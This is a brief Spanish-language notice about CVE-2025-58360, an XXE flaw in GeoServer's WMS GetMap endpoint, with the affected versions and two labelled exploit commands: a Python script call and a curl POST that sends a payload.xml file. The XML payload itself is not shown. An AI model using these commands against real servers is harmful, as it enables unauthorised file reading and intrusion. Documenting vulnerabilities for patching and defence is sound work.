
XXE a través de un endpoint específico /geoserver/wms operación GetMap - Geoserver
Desde la versión 2.26.0 hasta antes de la 2.26.2 y antes de la 2.25.6, se identificó una vulnerabilidad de Entidad Externa XML (XXE). La aplicación acepta entrada XML a través de un endpoint específico /geoserver/wms en la operación GetMap

Exploit1:
python3 CVE-2025-58360 -u http://example.com
Exploit2:
curl -X POST "http://example.com/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" -H "Content-Type: application/xml" --data-binary @payload.xml -o output.png